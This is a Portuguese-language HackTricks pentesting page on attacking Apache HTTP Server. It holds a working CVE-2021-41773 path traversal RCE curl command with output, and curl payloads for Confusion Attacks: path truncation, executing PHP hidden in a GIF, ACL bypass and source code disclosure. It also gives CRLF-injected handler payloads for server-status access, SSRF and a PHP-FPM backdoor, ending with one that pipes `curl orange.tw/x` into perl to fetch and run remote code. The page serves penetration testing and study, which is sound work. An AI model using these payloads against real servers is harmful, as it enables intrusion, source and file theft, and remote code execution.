hacktricks/network-services-pentesting/pentesting-web/apache.md

276 lines
15 KiB
Markdown
Raw Blame History

This file contains invisible Unicode characters

This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Apache
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
{% endhint %}
## Extensões PHP executáveis
Verifique quais extensões estão sendo executadas pelo servidor Apache. Para procurá-las, você pode executar:
```bash
grep -R -B1 "httpd-php" /etc/apache2
```
Além disso, alguns lugares onde você pode encontrar essa configuração são:
```bash
/etc/apache2/mods-available/php5.conf
/etc/apache2/mods-enabled/php5.conf
/etc/apache2/mods-available/php7.3.conf
/etc/apache2/mods-enabled/php7.3.conf
```
## CVE-2021-41773
{% code overflow="wrap" %}
```bash
curl http://172.18.0.15/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; id; uname'
uid=1(daemon) gid=1(daemon) groups=1(daemon)
Linux
```
{% endcode %}
## Confusion Attack <a href="#a-whole-new-attack-confusion-attack" id="a-whole-new-attack-confusion-attack"></a>
Esses tipos de ataques foram introduzidos e documentados [**pela Orange neste post do blog**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1) e o seguinte é um resumo. O ataque "confusão" basicamente explora como os dezenas de módulos que trabalham juntos para criar um Apache não funcionam perfeitamente sincronizados e fazer com que alguns deles modifiquem alguns dados inesperados pode causar uma vulnerabilidade em um módulo posterior.
### Filename Confusion
#### Truncation
O **`mod_rewrite`** irá truncar o conteúdo de `r->filename` após o caractere `?` ([_**modules/mappers/mod\_rewrite.c#L4141**_](https://github.com/apache/httpd/blob/2.4.58/modules/mappers/mod\_rewrite.c#L4141)). Isso não está totalmente errado, pois a maioria dos módulos tratará `r->filename` como uma URL. Mas em outras ocasiões isso será tratado como um caminho de arquivo, o que causaria um problema.
* **Path Truncation**
É possível abusar do `mod_rewrite` como no seguinte exemplo de regra para acessar outros arquivos dentro do sistema de arquivos, removendo a última parte do caminho esperado, adicionando simplesmente um `?`:
```bash
RewriteEngine On
RewriteRule "^/user/(.+)$" "/var/user/$1/profile.yml"
# Expected
curl http://server/user/orange
# the output of file `/var/user/orange/profile.yml`
# Attack
curl http://server/user/orange%2Fsecret.yml%3F
# the output of file `/var/user/orange/secret.yml`
```
* **Atribuição Enganosa do RewriteFlag**
Na seguinte regra de reescrita, desde que a URL termine em .php, ela será tratada e executada como php. Portanto, é possível enviar uma URL que termina em .php após o caractere `?` enquanto carrega no caminho um tipo diferente de arquivo (como uma imagem) com código php malicioso dentro dele:
```bash
RewriteEngine On
RewriteRule ^(.+\.php)$ $1 [H=application/x-httpd-php]
# Attacker uploads a gif file with some php code
curl http://server/upload/1.gif
# GIF89a <?=`id`;>
# Make the server execute the php code
curl http://server/upload/1.gif%3fooo.php
# GIF89a uid=33(www-data) gid=33(www-data) groups=33(www-data)
```
#### **Bypass de ACL**
É possível acessar arquivos que o usuário não deveria conseguir acessar, mesmo que o acesso deva ser negado com configurações como:
```xml
<Files "admin.php">
AuthType Basic
AuthName "Admin Panel"
AuthUserFile "/etc/apache2/.htpasswd"
Require valid-user
</Files>
```
Isso ocorre porque, por padrão, o PHP-FPM receberá URLs que terminam em `.php`, como `http://server/admin.php%3Fooo.php` e porque o PHP-FPM removerá qualquer coisa após o caractere `?`, a URL anterior permitirá carregar `/admin.php`, mesmo que a regra anterior a proíba.
### Confusão do DocumentRoot
```bash
DocumentRoot /var/www/html
RewriteRule ^/html/(.*)$ /$1.html
```
Um fato interessante sobre o Apache é que a reescrita anterior tentará acessar o arquivo tanto do documentRoot quanto da raiz. Assim, uma solicitação para `https://server/abouth.html` verificará o arquivo em `/var/www/html/about.html` e `/about.html` no sistema de arquivos. O que basicamente pode ser explorado para acessar arquivos no sistema de arquivos.
#### **Divulgação de Código Fonte do Lado do Servidor**
* **Divulgar Código Fonte CGI**
Basta adicionar um %3F no final para vazar o código fonte de um módulo cgi:
```bash
curl http://server/cgi-bin/download.cgi
# the processed result from download.cgi
curl http://server/html/usr/lib/cgi-bin/download.cgi%3F
# #!/usr/bin/perl
# use CGI;
# ...
# # the source code of download.cgi
```
* **Divulgar Código Fonte PHP**
Se um servidor tiver diferentes domínios, sendo um deles um domínio estático, isso pode ser explorado para percorrer o sistema de arquivos e vazar código php:
```bash
# Leak the config.php file of the www.local domain from the static.local domain
curl http://www.local/var/www.local/config.php%3F -H "Host: static.local"
# the source code of config.php
```
#### **Manipulação de Gadgets Locais**
O principal problema com o ataque anterior é que, por padrão, a maioria dos acessos ao sistema de arquivos será negada, como na [configuração padrão](https://github.com/apache/httpd/blob/trunk/docs/conf/httpd.conf.in#L115) do Apache HTTP Server:
```xml
<Directory />
AllowOverride None
Require all denied
</Directory>
```
No entanto, os sistemas operacionais [Debian/Ubuntu](https://sources.debian.org/src/apache2/2.4.62-1/debian/config-dir/apache2.conf.in/#L165) permitem por padrão `/usr/share`:
```xml
<Directory /usr/share>
AllowOverride None
Require all granted
</Directory>
```
Portanto, seria possível **abusar de arquivos localizados dentro de `/usr/share` nessas distribuições.**
**Gadget Local para Divulgação de Informações**
* **Apache HTTP Server** com **websocketd** pode expor o script **dump-env.php** em **/usr/share/doc/websocketd/examples/php/**, que pode vazar variáveis de ambiente sensíveis.
* Servidores com **Nginx** ou **Jetty** podem expor informações sensíveis de aplicações web (por exemplo, **web.xml**) através de suas raízes web padrão localizadas em **/usr/share**:
* **/usr/share/nginx/html/**
* **/usr/share/jetty9/etc/**
* **/usr/share/jetty9/webapps/**
**Gadget Local para XSS**
* No Ubuntu Desktop com **LibreOffice instalado**, explorar o recurso de troca de idioma dos arquivos de ajuda pode levar a **Cross-Site Scripting (XSS)**. Manipular a URL em **/usr/share/libreoffice/help/help.html** pode redirecionar para páginas maliciosas ou versões mais antigas através de **RewriteRule** inseguro.
**Gadget Local para LFI**
* Se PHP ou certos pacotes front-end como **JpGraph** ou **jQuery-jFeed** estiverem instalados, seus arquivos podem ser explorados para ler arquivos sensíveis como **/etc/passwd**:
* **/usr/share/doc/libphp-jpgraph-examples/examples/show-source.php**
* **/usr/share/javascript/jquery-jfeed/proxy.php**
* **/usr/share/moodle/mod/assignment/type/wims/getcsv.php**
**Gadget Local para SSRF**
* Utilizando **MagpieRSS's magpie\_debug.php** em **/usr/share/php/magpierss/scripts/magpie\_debug.php**, uma vulnerabilidade SSRF pode ser facilmente criada, fornecendo um gateway para mais explorações.
**Gadget Local para RCE**
* As oportunidades para **Remote Code Execution (RCE)** são vastas, com instalações vulneráveis como um **PHPUnit** desatualizado ou **phpLiteAdmin**. Estes podem ser explorados para executar código arbitrário, demonstrando o extenso potencial da manipulação de gadgets locais.
#### **Jailbreak a partir de Gadgets Locais**
Também é possível fazer jailbreak a partir das pastas permitidas seguindo symlinks gerados por softwares instalados nessas pastas, como:
* **Cacti Log**: `/usr/share/cacti/site/` -> `/var/log/cacti/`
* **Solr Data**: `/usr/share/solr/data/` -> `/var/lib/solr/data`
* **Solr Config**: `/usr/share/solr/conf/` -> `/etc/solr/conf/`
* **MediaWiki Config**: `/usr/share/mediawiki/config/` -> `/var/lib/mediawiki/config/`
* **SimpleSAMLphp Config**: `/usr/share/simplesamlphp/config/` -> `/etc/simplesamlphp/`
Além disso, abusando de symlinks foi possível obter **RCE no Redmine.**
### Confusão de Manipuladores <a href="#id-3-handler-confusion" id="id-3-handler-confusion"></a>
Este ataque explora a sobreposição de funcionalidade entre as diretivas `AddHandler` e `AddType`, que ambas podem ser usadas para **habilitar o processamento PHP**. Originalmente, essas diretivas afetavam campos diferentes (`r->handler` e `r->content_type`, respectivamente) na estrutura interna do servidor. No entanto, devido a código legado, o Apache trata essas diretivas de forma intercambiável sob certas condições, convertendo `r->content_type` em `r->handler` se o primeiro estiver definido e o último não.
Além disso, no Apache HTTP Server (`server/config.c#L420`), se `r->handler` estiver vazio antes de executar `ap_run_handler()`, o servidor **usa `r->content_type` como o manipulador**, efetivamente tornando `AddType` e `AddHandler` idênticos em efeito.
#### **Sobrescrever Manipulador para Divulgar Código Fonte PHP**
Em [**esta palestra**](https://web.archive.org/web/20210909012535/https://zeronights.ru/wp-content/uploads/2021/09/013\_dmitriev-maksim.pdf), foi apresentada uma vulnerabilidade onde um `Content-Length` incorreto enviado por um cliente pode fazer com que o Apache **retorne o código fonte PHP**. Isso ocorreu devido a um problema de manuseio de erros com ModSecurity e o Apache Portable Runtime (APR), onde uma resposta dupla leva a sobrescrever `r->content_type` para `text/html`.\
Como o ModSecurity não lida corretamente com valores de retorno, ele retornaria o código PHP e não o interpretaria.
#### **Sobrescrever Manipulador para XXXX**
TODO: Orange ainda não divulgou essa vulnerabilidade
### **Invocar Manipuladores Arbitrários**
Se um atacante conseguir controlar o cabeçalho **`Content-Type`** em uma resposta do servidor, ele poderá **invocar manipuladores de módulo arbitrários**. No entanto, no ponto em que o atacante controla isso, a maior parte do processo da solicitação já terá sido concluída. No entanto, é possível **reiniciar o processo da solicitação abusando do cabeçalho `Location`** porque se o `Status` retornado for 200 e o cabeçalho `Location` começar com uma `/`, a resposta é tratada como uma Redireção do Lado do Servidor e deve ser processada.
De acordo com [RFC 3875](https://datatracker.ietf.org/doc/html/rfc3875) (especificação sobre CGI) na [Seção 6.2.2](https://datatracker.ietf.org/doc/html/rfc3875#section-6.2.2) define um comportamento de Resposta de Redirecionamento Local:
> O script CGI pode retornar um caminho URI e uma string de consulta (local-pathquery) para um recurso local em um campo de cabeçalho Location. Isso indica ao servidor que ele deve reprocessar a solicitação usando o caminho especificado.
Portanto, para realizar este ataque é necessário uma das seguintes vulnerabilidades:
* Injeção CRLF nos cabeçalhos de resposta CGI
* SSRF com controle completo dos cabeçalhos de resposta
#### **Manipulador Arbitrário para Divulgação de Informações**
Por exemplo, `/server-status` deve ser acessível apenas localmente:
```xml
<Location /server-status>
SetHandler server-status
Require local
</Location>
```
É possível acessá-lo definindo o `Content-Type` como `server-status` e o cabeçalho Location começando com `/`
```
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo %0d%0a
Content-Type:server-status %0d%0a
%0d%0a
```
#### **Manipulador Arbitrário para SSRF Completo**
Redirecionando para `mod_proxy` para acessar qualquer protocolo em qualquer URL:
```
http://server/cgi-bin/redir.cgi?r=http://%0d%0a
Location:/ooo %0d%0a
Content-Type:proxy:
http://example.com/%3F
%0d%0a
%0d%0a
```
No entanto, o cabeçalho `X-Forwarded-For` é adicionado, impedindo o acesso aos endpoints de metadados da nuvem.
#### **Manipulador Arbitrário para Acessar o Socket de Domínio Unix Local**
Acesse o Socket de Domínio Unix local do PHP-FPM para executar um backdoor PHP localizado em `/tmp/`:
```
http://server/cgi-bin/redir.cgi?r=http://%0d%0a
Location:/ooo %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/tmp/ooo.php %0d%0a
%0d%0a
```
#### **Manipulador Arbitrário para RCE**
A imagem oficial do [PHP Docker](https://hub.docker.com/\_/php) inclui o PEAR (`Pearcmd.php`), uma ferramenta de gerenciamento de pacotes PHP via linha de comando, que pode ser explorada para obter RCE:
```
http://server/cgi-bin/redir.cgi?r=http://%0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}
orange.tw/x|perl
) %2b alltests.php %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a
```
Verifique o [**Resumo de LFI do Docker PHP**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), escrito por [Phith0n](https://x.com/phithon\_xg) para os detalhes desta técnica.
## Referências
* [https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Suporte ao HackTricks</summary>
* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
{% endhint %}